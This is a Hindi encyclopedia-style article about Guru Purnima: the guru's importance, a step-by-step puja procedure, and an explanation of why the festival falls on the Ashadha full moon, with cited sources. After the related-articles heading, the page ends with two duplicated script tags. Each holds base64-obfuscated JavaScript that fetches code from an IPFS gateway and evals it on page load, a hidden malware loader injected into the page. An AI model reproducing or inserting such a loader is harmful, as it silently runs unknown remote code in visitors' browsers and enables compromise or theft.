  • गुरु के आशीर्वाद से ही विद्यार्थी को विद्या आती है। उसके हृदय का अज्ञानता का अन्धकार दूर होता है। गुरु का आशीर्वाद ही प्राणी मात्र के लिए कल्याणकारी, ज्ञानवर्धक और मंगल करने वाला होता है। संसार की संपूर्ण विद्याएं गुरु की कृपा से ही प्राप्त होती हैं और गुरु के आशीर्वाद से ही दी हुई विद्या सिद्ध और सफल होती है।
  • गुरु पूर्णिमा पर व्यासजी द्वारा रचे हुए ग्रंथों का अध्ययन-मनन करके उनके उपदेशों पर आचरण करना चाहिए।
  • इस दिन केवल गुरु (शिक्षक) ही नहीं, अपितु माता-पिता, बड़े भाई-बहन आदि की भी पूजा का विधान है।
  • इस पर्व को श्रद्धापूर्वक मनाना चाहिए, अंधविश्वासों के आधार पर नहीं। गुरु पूजन का मन्त्र है-

'गुरु ब्रह्मा गुरुर्विष्णु: गुरुदेव महेश्वर:।'
गुरु साक्षात्परब्रह्म तस्मैश्री गुरुवे नम:।।

क्या करें गुरु पूर्णिमा के दिन

मानसी गंगा पर स्नान करते श्रद्धालु, गोवर्धन, मथुरा
  • प्रातः घर की सफाई, स्नानादि नित्य कर्म से निवृत्त होकर साफ-सुथरे वस्त्र धारण करके तैयार हो जाएं।
  • घर के किसी पवित्र स्थान पर पटिए पर सफेद वस्त्र बिछाकर उस पर 12-12 रेखाएं बनाकर व्यास-पीठ बनाना चाहिए।
  • फिर हमें 'गुरुपरंपरासिद्धयर्थं व्यासपूजां करिष्ये' मंत्र से पूजा का संकल्प लेना चाहिए।
  • तत्पश्चात् दसों दिशाओं में अक्षत छोड़ना चाहिए।
  • फिर व्यासजी, ब्रह्माजी, शुकदेवजी, गोविंद स्वामीजी और शंकराचार्यजी के नाम, मंत्र से पूजा का आवाहन करना चाहिए।
  • अब अपने गुरु अथवा उनके चित्र की पूजा करके उन्हें यथा योग्य दक्षिणा देना चाहिए।[2]

आषाढ़ की पूर्णिमा को ही क्यों

आषाढ़ पूर्णिमा को 'गुरु पूर्णिमा' के रूप में मानने का क्या राज़ है?

धर्म जीवन को देखने का काव्यात्मक ढंग है। सारा धर्म एक महाकाव्य है। अगर यह तुम्हें खयाल में आए, तो आषाढ़ की पूर्णिमा बड़ी अर्थपूर्ण हो जाएगी। अन्यथा आषाढ़ में पूर्णिमा दिखाई भी न पड़ेगी। बादल घिरे होंगे, आकाश खुला न होगा। और भी प्यारी पूर्णिमाएं हैं, शरद पूर्णिमा है, उसको क्यों नहीं चुन लिया? लेकिन चुनने वालों का कोई खयाल है, कोई इशारा है। वह यह है कि गुरु तो है पूर्णिमा जैसा, और शिष्य है आषाढ़ जैसा। शरद पूर्णिमा का चांद तो सुंदर होता है, क्योंकि आकाश ख़ाली है। वहां शिष्य है ही नहीं, गुरु अकेला है। आषाढ़ में सुंदर हो, तभी कुछ बात है, जहां गुरु बादलों जैसा घिरा हो शिष्यों से। शिष्य सब तरह के हैं, जन्मों-जन्मों के अंधेरे को लेकर आ छाए हैं। वे अंधेरे बादल हैं, आषाढ़ का मौसम हैं। उसमें भी गुरु चांद की तरह चमक सके, उस अंधेरे से घिरे वातावरण में भी रोशनी पैदा कर सके, तो ही गुरु है। इसलिए आषाढ़ की पूर्णिमा! वह गुरु की तरफ भी इशारा है और उसमें शिष्य की तरफ भी इशारा है। और स्वभावत: दोनों का मिलन जहां हो, वहीं कोई सार्थकता है।[3]


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

वीथिका

टीका-टिप्पणी और संदर्भ

  1. 1.0 1.1 गुरु पूर्णिमा– अंधकार से प्रकाश की ओर ले जाने वाले गुरु को समर्पित (हिंदी) जागरण जंक्शन। अभिगमन तिथि: 2 जुलाई, 2013।
  2. क्या करें गुरु पूर्णिमा के दिन... (हिंदी) वेबदुनिया हिंदी। अभिगमन तिथि: 2 जुलाई, 2013।
  3. आषाढ़ की पूर्णिमा को ही क्यों मनाते हैं गुरु पूर्णिमा (हिंदी) नवभारत टाइम्स। अभिगमन तिथि: 2 जुलाई, 2013।

बाहरी कड़ियाँ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>